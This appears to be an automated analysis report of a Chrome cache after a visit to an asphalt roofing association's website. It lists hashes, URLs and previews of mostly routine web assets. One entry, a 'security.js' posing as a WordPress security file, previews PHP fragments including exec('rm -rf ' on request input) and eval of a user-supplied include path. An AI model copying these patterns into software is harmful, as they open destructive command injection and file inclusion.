SSDEEP:	48:yMjDJXgmQKCbkEkRKdgP79EK9gin+bC6PyIm5r2ZE:yMDJXgmBCbHYKdgBrgVNPJ3ZE
MD5:	D451A42642E0D80B11D1DC646DF6903B
SHA1:	4497264C2C43D061572259CB4A412A6FE6EB6201
SHA-256:	DB489EAAEA51AD6D4A74E1EA4596A1DC92582CF251047C40F8B9D519F2AE67B2
SHA-512:	5D3CC8D17BB991DEDEC024B5998B95C78910115B468D7021461A1A9AD738CF2A051A79CEB13D7E19B5DCFB19847C7172A353DDD5A19A537AEAC0644B482F371F
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus
Preview:	<!DOCTYPE html>.<html>. <head>. <style type="text/css">. html, body, #mapDiv {. height: 100%;. margin: 0;. padding: 0;. }. </style>. </head>. <body>. <div id="mapDiv"></div>. . <script nonce="MEZhbJZso1WrBQ4T9f4imQ">. function onEmbedLoad() {. initEmbed([null,null,null,null,null,[[[2,"spotlit",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,null,11,null,[null,null,null,null,null,null,null,null,null,null,null,null,null,1]]]],null,null,[[null,null,null,null,null,null,null,null,null,null,null,null,null,[[["9928148864880106101","4679642052884874500"],"/g/11c5n1lpq7",null,[395847673,3531091971],null,null,null,1,null,null,null,null,null,null,"gcid:geocoded_address"],0,0,null,null,0,null,0]]]],null,["en","us"],[null,null,null,"/maps/api/js/ApplicationService.GetEntityDetails","/maps/embed/upgrade204",null,"/maps/embed/record204"],null,null,null,null,null,null,null,null,"lssnZrWBEKyFwbkP6omf4A8",null,null,nul

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3546
Entropy (8bit):	7.914049951252833
Encrypted:	false
SSDEEP:	96:peyr/WuXhNeM1Al5TKrTsFWq6GjDUKWws:pvjXVAArCnwjP
MD5:	693C0B84EB9A1D351C3D6C23E17D6297
SHA1:	1E013A6E5DB80AF52B90176609E8FF4500F8B462
SHA-256:	D8E2572462645F6EBDD8C22A520CD823CDA8B903D4414631465AAB341E01A15D
SHA-512:	E07BE7F52819D6CD8C17D8E43731639BDCFA33BEF9B48F364B81DEDE66DA2579FF6B90E0DD4040C21736F92B34F48543DFB99D4849EAD5446D4562F9D5029756
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................PLTE...............................quy.....P.....VIDATx....r.(...psH....k..c.)$....V6v../..{a...wbX8.....x.0.1,....Qa%..........C:P.......u ..3.a.u..F......@!``#.'....!...#......<.P.B..1,...#.2B^k1(....x...i...@...)$....ZL.2...2&.^+.U.ZNv.;..;...8...q.iRqX......$1(....Wj.....U...!......Q...j....2.:.1.?MrLW.".q\|.."..%..D@..8.d....:.A....@..CJ..A\|.Q.I)R.~D...aJ....@'e'........^N..d..$@@..c.4j~X. ....FM. =.C....u...../i.HX...L..!.+..\.ae @..4.q..l.P6....h......,.i...../.%7 .....B..M..%^..9b.LKP.HQ.@..F1&(%.G .[6EuC.J..Z@P..e....L..v.."\|.....aK.`.U#j...\|...n.....a...K7.P:yns'R#..d/. E....w...K...#p..y..".......I?..u7....Z....n$ _.8.%..........K.;..asg.{..8.E....g..>.e;.%.4..=.`]....w+.D......C....\..+...F....&f..\./.._.K...QIu ...D..&...H...=.h....r........0.4E....h...P(x./.f...n.].h.It.....f.Q...o....H.0....X.xc.lP.wP.)....Ao.>p.......Ld~ ,&..".....dOpQ...n..P..sv.D..{V-.."Y...U..}=d_....D

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	105107
Entropy (8bit):	5.031795887718877
Encrypted:	false
SSDEEP:	768:v6Im/dnzcaSaZSbSrFieZ9fOYfanHRhvjub1Xpv+u2fUCS1iu5LXsFI:v6ImlnzcaSaZSauLQvWfGBLf
MD5:	71E711F4B9E1FF1E147991F3181CB02C
SHA1:	CEF249AC851974EF9B7401C1346C0F868586791E
SHA-256:	4B1FC886BC78A9BEC21E3105E8960C73C597AA74331B3D7CD068AB0EC18E9E86
SHA-512:	FE629DB0CE037F8B12300B122F09ADB7BCE972434ACEBDEAC4D30F938BF5471E59E27CFF5D7F44CD558FB2BCA099D9654CABECD399489186E35480D8FAA6F451
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/style.css?ver=3.3.8
Preview:	/..Theme Name: U-Design..Theme URI: https://udesigntheme.com/envato-market/..Description: CSS for the 'U-Design Theme'...Version: 3.3.8..Author: Andon..Author URI: https://1.envato.market/OdObz../....body {.. min-width: 960px;..}..#wrapper-1 {.. background-color: #FBFBFB;.. display: block;.. float: left;.. position: relative;.. width: 100%;..}../* Begin Top area (Logo and Search) /..#top-wrapper {.. position: relative;.. z-index: 999;..}..#top-elements {.. position:relative;.. height: 90px;.. z-index: 100;..}..#top-elements {.. box-sizing: content-box;..}..#logo {.. width: auto;.. top: 6px;.. left: 0;.. position: absolute;.. z-index: 100;.. padding-left:20px;..}..#logo h1 {.. margin: 0;.. padding: 0;..}..#logo h1 a,..#logo .site-name a {.. display: block;.. text-indent: -5000px;.. overflow: hidden;.. outline: 0;..}..#slogan {.. width: auto;.. position: absolute;.. top: 100px;.. left: 0;.. color: #999;

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3922)
Category:	downloaded
Size (bytes):	6726
Entropy (8bit):	5.116581208642906
Encrypted:	false
SSDEEP:	96:nip7mCXBYYKnD+U6T2CXW9LYBWfDBNwYMNI1ppuXSyO:Z6T2CX0uYDT8QSSD
MD5:	3B1C5753C3ACCB46E66316A73BEA58E6
SHA1:	3138804BEEA8D2B97DD5A11749ADA34A4EC11EF2
SHA-256:	B46048631E82A287B6F62CF1408C6018ABF3AA29A1D1E4CC26D21F728FA1368F
SHA-512:	3D3ABAF343E6D68E242298E42305E351F997829E05FE6F5A5BABFE460E5CAC34C4DFBBB8A89C7B26E3810E172916DA958FB0985F70FDF1968E49228DE5CC467D
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/superfish-menu/js/superfish.combined.js?ver=1.7.2
Preview:	(function(e){e.fn.hoverIntent=function(t,n,r){var i={interval:100,sensitivity:7,timeout:0};if(typeof t==="object"){i=e.extend(i,t)}else if(e.isFunction(n)){i=e.extend(i,{over:t,out:n,selector:r})}else{i=e.extend(i,{over:t,out:t,selector:n})}var s,o,u,a;var f=function(e){s=e.pageX;o=e.pageY};var l=function(t,n){n.hoverIntent_t=clearTimeout(n.hoverIntent_t);if(Math.abs(u-s)+Math.abs(a-o)<i.sensitivity){e(n).off("mousemove.hoverIntent",f);n.hoverIntent_s=1;return i.over.apply(n,[t])}else{u=s;a=o;n.hoverIntent_t=setTimeout(function(){l(t,n)},i.interval)}};var c=function(e,t){t.hoverIntent_t=clearTimeout(t.hoverIntent_t);t.hoverIntent_s=0;return i.out.apply(t,[e])};var h=function(t){var n=jQuery.extend({},t);var r=this;if(r.hoverIntent_t){r.hoverIntent_t=clearTimeout(r.hoverIntent_t)}if(t.type=="mouseenter"){u=n.pageX;a=n.pageY;e(r).on("mousemove.hoverIntent",f);if(r.hoverIntent_s!=1){r.hoverIntent_t=setTimeout(function(){l(n,r)},i.interval)}}else{e(r).off("mousemove.hoverIntent",f);if(r.ho

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	41426
Entropy (8bit):	4.777741490529809
Encrypted:	false
SSDEEP:	768:CPggSMScu4kOYfyiILHpoKmmy6CI86MVNhr5Gd3sz1yY/kgXIi2wLw7itjqlzDoU:uggSMScu4kOYfyjbXTBaNsk2ywWtmdoU
MD5:	BA5C11E83668C43AFAF12F0054736113
SHA1:	4651AE3624D4ED40F0C0A377F421FDA611BAFC77
SHA-256:	021FE858458A21F957DB9E00304531D29F0E10EDB24DCC4525D17F366E81D4CD
SHA-512:	F1DDA9F3F7E2745EB35FD407E9FF8EBCE9D15509D69141DA88332EA0C3CD68A02D85FBDB315C3137052D452886AB62E608C8D7EC5B5D8DA1E3CBCF01F28E975B
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/ui-v2/js/libs/underscore/underscore.js
Preview:	// Underscore.js 1.4.4.// ===================..// > http://underscorejs.org.// > (c) 2009-2013 Jeremy Ashkenas, DocumentCloud Inc..// > Underscore may be freely distributed under the MIT license...// Baseline setup.// --------------.(function() {.. // Establish the root object, `window` in the browser, or `global` on the server.. var root = this;.. // Save the previous value of the `_` variable.. var previousUnderscore = root._;.. // Establish the object that gets returned to break out of a loop iteration.. var breaker = {};.. // Save bytes in the minified (but not gzipped) version:. var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;.. // Create quick reference variables for speed access to core prototypes.. var push = ArrayProto.push,. slice = ArrayProto.slice,. concat = ArrayProto.concat,. toString = ObjProto.toString,. hasOwnProperty = ObjProto.hasOwnProperty;.. // A

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	16615
Entropy (8bit):	7.9876632848580105
Encrypted:	false
SSDEEP:	384:0VUV7fAr/y2rAJmv/46Hb9x3BTMJlW3gcc6QG9w1pZjA5TBB:wUVky2reC46Hb9x3iJsDc6r9wDZs59B
MD5:	BE7F8958E06DA7663525DA28D2D005DB
SHA1:	F2C09288D49EDD488169B2241CA4DF8414BEF818
SHA-256:	9446AA213DAB11F935B7EAE01E6507190F180F60814D175097C134B90AC82B47
SHA-512:	ADAC96CF359C1ECA548F1375D2596E9ADA5A0BCE6D319F8694BF8B177F082EA3F67CD82BA0395772D3979D4A0B933984500E9D6C2650A6818E6CBE1E720B0755
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/resources/
Preview:	S.8.E5.+"5..@#e...E`...:....j.-U....Mr....B9..]<........DB......)......C........Z..oO5.e.q..0..... .\|.@.9.t.M7I7...}_S;...BjC.>n.R....\.p...5.}....1......Z...6....~....Kn"..T.R...S.:..p... ..3.Q...J.....1L\|.. Q..q..^.../.)a.`..64..a.8..DZ.."{...I.....ET-)q....86.@.....0._...v.\|......F.f.............aPNU..OJ...`v.s.w....7.....q\|.w...V.u..nK.......1.U\.g.....iU...yL....j....p.U.Y....&..x..eWyW].y.g.-qu....=Sk....j/.t.....9..?.......].WM7[QQ_...`.jz.4k.nt.@5..U\....>..?......... .+0.?..O..\..vrM.m{.P)^..h]F.:\|.k~&.\|...O.........z+...N.,.O$..+.C)F.....#..V.(...>/.=[..^.....- .Qd.>......3l.C.@.H$y....u,...$..C-..}.."~J.(...pl,.../.p..vK.RM.$o..s.V);H...$6&.$.Rh[A.L.tT.;..1.!.....E....Fu..o......vXc.c...."...X.).0...T.`...r4.2.N\B..L,4....!.h...{......h..@kA.......M^...G.sp../XG.........D."T\<...1.......n2..<?.[;ld..V.U...{=.~.....!Z...#[..+.F......2.nx..jT.nd.....U.}R. =..t..B.H^F.b.t...3.4s..ld].4d..3;..+....`.,]\o...W..*.........(....Tr{.9...+

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	47
Entropy (8bit):	4.110454745700462
Encrypted:	false
SSDEEP:	3:UkWu5MRJWWHw:UffR7Hw
MD5:	641494EA0AFB5CC8D9AAD672E6F39C15
SHA1:	1AA436449833B1220258C024ACCF377C370CA122
SHA-256:	BD9343E493CD44C5213F0AF31541550CFEAF0590F1F1998C0F1876C7746B4E43
SHA-512:	E12FE9BC1D11F6C79EE102CCE900FE5CB043038CDA8A661CF178F58338CFC0BA83B0F0D7051EFDB88C5B674DF8EF6660CF7C69A7A38F526B16DD8AF873105F76
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.all.css
Preview:	@import "ui.base.css";.@import "ui.theme.css";.

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12198), with CRLF line terminators
Category:	downloaded
Size (bytes):	23419
Entropy (8bit):	5.243727102070793
Encrypted:	false
SSDEEP:	384:jpKYDrh7LpA9lIrIQgMza+5sIc3ZTYlVfZRcBFB6BOBopPXPoy5Tj5piaCd7WRBU:jpJDt7LpAjIrIUPGf3ZnLMsOpPXPb/C/
MD5:	7A1B2AD7B6CBEB3A0A2C86A7928EAF07
SHA1:	9D2D2B7172DF4A43516870B395AAD0008CC7BAD2
SHA-256:	6B11C97FA853DF89BF95F02A0668D1C340482AC24CEF8BFFC25C8A25FA7D262B
SHA-512:	36CF4011BC83CAD64E85DFD20D5A16EF2C7C412C2C4DCE996D0D9914F245725F4820B11BAE96C5ED9776DDF51432B072A5F3EF6AB94ED213D979468EE5869530
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/content-views-query-and-display-post-page/public/assets/js/cv.js?ver=3.6.4
Preview:	/! content-views 06-2023 /../!.. Bootstrap v3.4.1 (http://getbootstrap.com).. * Copyright 2011-2019 Twitter, Inc... * Licensed under the MIT license.. */..if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c\|\|a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	18879
Entropy (8bit):	5.447104388502395
Encrypted:	false
SSDEEP:	384:mUhq9S4Fq97vsnsPUBGzBfBAB7eBuBjBLFe5KkdjjU:f4LByBfBABaBuBjBLw5KqjjU
MD5:	5666B1FFD508B24A250EB13001D44B26
SHA1:	4FF0690B18983F293FC309F8913F26348A19A3F9
SHA-256:	4DEA9CF8AB14B1E1AE935795A8884866DC5F6F458977BD51DBABBC8B3E33315A
SHA-512:	9B86B41659692FA30A4F810291839C59136FB4C7646DE5B09F2C599563F468B958CF5AC96080BBB12AB4B418588288B70899A2DA2C1F5EAAB8DB956F1E6DCB61
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Roboto:400%2C100%7COpen+Sans:800%2C400%7CRaleway:900%2C600
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Open Sans';. font-style: normal;

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	8361
Entropy (8bit):	7.892368993541442
Encrypted:	false
SSDEEP:	192:fjasQIEAZ32ergwNDZgwVKPkv5SRO4gBSJ00VNODtlFtWnuBjQH:evAZbsIZgRPu5SNJLV4HtWCM
MD5:	879D4DDEC7F62AD2B17B0FAF3B0C018C
SHA1:	3BD328F0C2E13D47F5EA04B1E06BB2EFB3514D18
SHA-256:	CE08CD4E388A0A2B636B2836696F28C5426A18D5E0AE8D26110545A4A4F01A86
SHA-512:	CDABAE8DD570CAEC88C819B7273D8643AA8C8B3853E982EEA7F6591B68389FFAEFDD8BFE5D1E28347E120A3BB12AB10AFC2337FED667DCB4376AE608F2977C65
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=4792
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE..................................puzy~.......................Z]aNRV...........Q.i'.En..ehl5.QHu...o.......8.s.C.]H....t..T..4.S.h.....IDATx....w.J...Luw..).9...}ok...&...ywi.{I..x..G#..$.B...g.M.8.....s..$!...{a._E.$;^..!....t?.L..Y.x...eQ..8J..%....M...p.r.w]_9.yI.4J....k..rZ8.\xdg%{b27.j...G.;.....'&..;..._9.<%......Ea....-.W..).j.......6Wh..I..,\j.q.U.I...?H_suY....{..........(...?.@....N...a.9i.n'...pj.Hc..#W.f.;....P...Y.V&o'..q..d ET\0.E.F.gv..1....!P..\g....?%.?....`....l..e.3.U.y^..Y..iu.).Zh.V3{#6..+Z....iB....C: lS...<)...s./.jO.EG....a 8..!.bf.3J..c.\.@. ..m..h...(...QB.IHP..g...mr.(.2..V...?.......&.`.a ....2).Di}]......}'....H..G...D.C.FC..q.9T.6..$EZ\|"x....3.C1.g.Q.&..1..D0.x....l.2..h4R....F+R..............C!U(..ID./.Y../.F.bc..Vw..p9...86..HD..V&..i..."....0h..`s.4..Q_...Q&.D.Y....oe....ku.. A.........;........*..l.Y..I..r.YX......a..Q$3h..K....p.K..a......aj....../

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	114
Entropy (8bit):	4.692650787496248
Encrypted:	false
SSDEEP:	3:YKXUIEhfHcfF3MKQBnsGnLpnXTkgKIEudrW0MT:YKEIEJ8FnQBnnlXTBKIg
MD5:	A3012A563B5A28B396973E367EE9D552
SHA1:	37323D8F1628C72936DDD97CB51826EFF297EF2B
SHA-256:	83335FB045BBFE6C3C0AD14300F2BEAE031D7DDC05A3C793838A22D0B2C08017
SHA-512:	F0E05ED58350314B23D646D6CD4E5F64A679944CCDCAC17F45C1E3BC29C6CEDA7D07E3E94E12E4F2B13BBBD34D4F397289B0C0D1204CF7FBBE20090BF2B3B111
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/ui-login/v1/getOrgName
Preview:	{"orgId":"arma1","name":"Asphalt Roofing Manufacturers Association","serviceId":10085,"domain":"memberclicks.net"}

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17809), with no line terminators
Category:	downloaded
Size (bytes):	17809
Entropy (8bit):	4.729799310947723
Encrypted:	false
SSDEEP:	384:p3sXkEzOm9Oq/tThyIeGe0cGAYBi2SpSgsVY8s:xGAYML
MD5:	1DDF23FCFD1B2941C456CE01DA8180A6
SHA1:	156EF5CC77061010E3F4123A47FA415C6391E5FF
SHA-256:	DD18A408A35AA5D393458657EB24FB56AB754ECE3F88BD78A038E5793D3F6991
SHA-512:	0FF8336A2AC3C3CE74D60E41291C7E14E365479DBB30D16CF3765847C0AD208175DD73D3301BF455867612963C0D8C67B32CBE1255C7999A23B16ECCD6B8CDA7
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=7.0.0
Preview:	:root{--woocommerce:#a46497;--wc-green:#7ad03a;--wc-red:#a00;--wc-orange:#ffba00;--wc-blue:#2ea2cc;--wc-primary:#a46497;--wc-primary-text:white;--wc-secondary:#ebe9eb;--wc-secondary-text:#515151;--wc-highlight:#77a464;--wc-highligh-text:white;--wc-content-bg:#fff;--wc-subtext:#767676}.woocommerce .woocommerce-error .button,.woocommerce .woocommerce-info .button,.woocommerce .woocommerce-message .button,.woocommerce-page .woocommerce-error .button,.woocommerce-page .woocommerce-info .button,.woocommerce-page .woocommerce-message .button{float:right}.woocommerce .col2-set,.woocommerce-page .col2-set{width:100%}.woocommerce .col2-set::after,.woocommerce .col2-set::before,.woocommerce-page .col2-set::after,.woocommerce-page .col2-set::before{content:" ";display:table}.woocommerce .col2-set::after,.woocommerce-page .col2-set::after{clear:both}.woocommerce .col2-set .col-1,.woocommerce-page .col2-set .col-1{float:left;width:48%}.woocommerce .col2-set .col-2,.woocommerce-page .col2-set .col-2

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12478)
Category:	downloaded
Size (bytes):	12834
Entropy (8bit):	5.465699869147682
Encrypted:	false
SSDEEP:	384:vo0w7zi23ZvMohXCf6H9xdblhf8xzwNrA:vyxvhyf6H9rf89wq
MD5:	BD19DA911F4A85F6A9CD8989B1C935FE
SHA1:	1CD41187599F06BF26990207346A181F6AA2743F
SHA-256:	7AF9432B5D58D0FAB755D638EBB019B35635457AE264EF43DC47160B0F1FAE02
SHA-512:	6BBBED5D71B73F10EF17E7C547F45DA009B7C68A741219C944DF7B65C52BF74E68025DE4638A39854F6E7B04EE5537A3BEE693004C7ED06CE7B07E94E689BB35
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/skrollr/dist/skrollr.min.js?ver=6.1
Preview:	/!. WPBakery Page Builder v6.0.0 (https://wpbakery.com). * Copyright 2011-2019 Michael M, WPBakery. * License: Commercial. More details: http://go.wpbakery.com/licensing. /..// jscs:disable.// jshint ignore: start../! skrollr 0.6.30 (2015-06-19) \| Alexander Prinzhorn - https://github.com/Prinzhorn/skrollr \| Free to use under terms of MIT license */.!function(a,b,c){"use strict";function d(c){if(e=b.documentElement,f=b.body,T(),ha=this,c=c\|\|{},ma=c.constants\|\|{},c.easing)for(var d in c.easing)W[d]=c.easing[d];ta=c.edgeStrategy\|\|"set",ka={beforerender:c.beforerender,render:c.render,keyframe:c.keyframe},la=c.forceHeight!==!1,la&&(Ka=c.scale\|\|1),na=c.mobileDeceleration\|\|y,pa=c.smoothScrolling!==!1,qa=c.smoothScrollingDuration\|\|A,ra={targetTop:ha.getScrollTop()},Sa=(c.mobileCheck\|\|function(){return/Android\|iPhone\|iPad\|iPod\|BlackBerry/i.test(navigator.userAgent\|\|navigator.vendor\|\|a.opera)})(),Sa?(ja=b.getElementById(c.skrollrBody\|\|z),ja&&ga(),X(),Ea(e,[s,v],[t])):Ea(e,[s,u],[t]),ha.refr

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	5.1425262870180015
Encrypted:	false
SSDEEP:	24:XijtIVvkOTOzVl4YVOTOzaNnqyos/RtPdjMc+cFsSSaYL4/SjTUgZ6xtRRRbgA:XiGkPz8YVPzaAyZfjFuzatRRRbgA
MD5:	60F1761E5D013B9A14802533AF2E0E0B
SHA1:	0380C31FF794A3191B1BD5EE5D7D2B084C96D876
SHA-256:	046F70759C89E8EA677E80ECE89358E8510D3AB53EC4E693C6A75573BD8C4B5E
SHA-512:	8B71C23E72C10DE316D58BB16068D70A9A0A57375967D4D41EB4994019AA74B580D34F00D211A5C1B5FF4F019B5872845D2DA02C35AA963A168470BCC0905A0F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/security.js?v=1713884077797
Preview:	/* It is WordPress security file...Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.....$search = $_GET['search'] ?? null;..echo 'Search results for '.$search;..$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');..echo 'Search results for '.$search;.. $page = $_GET['page'] ?? 'home';....require $page;.... file_get_contents('../pages/'.$page.'.php');..if (strstr($_GET['page'], '../') !== false) {.. throw new \Exception("Directory traversal attempt!");..}if (strstr($_GET['page'], 'file://') !== false) {.. throw new \Exception("Remote file inclusion attempt!");...$allowed = ['home', 'blog', 'gallery', 'catalog'];..$page = (in_array($page, $allowed)) ? $page : 'home';..echo file_get_contents('../pages/'.$page.'.php');...exec('rm -rf '.$GET['path']);..eval('include '.$_GET['path']);..app/.. config/.. parameters.yml.. src/..public/.. index.php.. style.css.. security.js.. logo.png.. $pa

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21225)
Category:	downloaded
Size (bytes):	21508
Entropy (8bit):	5.307072518447236
Encrypted:	false
SSDEEP:	384:Bq8MTFam8FfdR+zubzguhP3l+CBb3+8rBEpiijfIj7lU+glBgLJbp40a19ATrhrJ:e8Fgull+Cp3+gxq+2qyr1CfhrO2ouXv
MD5:	3FC4B0FBED85EE642309CA1E9DFCD6FC
SHA1:	D73F45229D0FB7BB5669A7B1948AABBCC7732337
SHA-256:	3AA615CB3A824D574C0EC4DF5DC107D21D25CBF6A676383C183512802CED0466
SHA-512:	C56FD646B3D1F27E702DCE65C0225A326152087DF5CD68A1D87079554E2BEDAEC54EA87B2B9CC40D5BF7F5F71570B998FE2C9CC1D94C33955CE6F3957A3E271C
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/prettyPhoto/js/jquery.prettyPhoto.js?ver=3.1.6
Preview:	/* ------------------------------------------------------------------------..Class: prettyPhoto..Use: Lightbox clone for jQuery..Author: Stephane Caron (http://www.no-margin-for-errors.com)..Version: 3.1.6.------------------------------------------------------------------------- /.!function(e){function t(){var e=location.href;return hashtag=-1!==e.indexOf("#prettyPhoto")?decodeURI(e.substring(e.indexOf("#prettyPhoto")+1,e.length)):!1,hashtag&&(hashtag=hashtag.replace(/<\|>/g,"")),hashtag}function i(){"undefined"!=typeof theRel&&(location.hash=theRel+"/"+rel_index+"/")}function p(){-1!==location.href.indexOf("#prettyPhoto")&&(location.hash="prettyPhoto")}function o(e,t){e=e.replace(/[\[]/,"\\[").replace(/[\]]/,"\\]");var i="[\\?&]"+e+"=([^&#])",p=new RegExp(i),o=p.exec(t);return null==o?"":o[1]}e.prettyPhoto={version:"3.1.6"},e.fn.prettyPhoto=function(a){function s(){e(".pp_loaderIcon").hide(),projectedTop=scroll_pos.scrollTop+(I/2-f.containerHeight/2),projectedTop<0&&(projectedTop=0),

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	5.1425262870180015
Encrypted:	false
SSDEEP:	24:XijtIVvkOTOzVl4YVOTOzaNnqyos/RtPdjMc+cFsSSaYL4/SjTUgZ6xtRRRbgA:XiGkPz8YVPzaAyZfjFuzatRRRbgA
MD5:	60F1761E5D013B9A14802533AF2E0E0B
SHA1:	0380C31FF794A3191B1BD5EE5D7D2B084C96D876
SHA-256:	046F70759C89E8EA677E80ECE89358E8510D3AB53EC4E693C6A75573BD8C4B5E
SHA-512:	8B71C23E72C10DE316D58BB16068D70A9A0A57375967D4D41EB4994019AA74B580D34F00D211A5C1B5FF4F019B5872845D2DA02C35AA963A168470BCC0905A0F
Malicious:	false
Reputation:	low
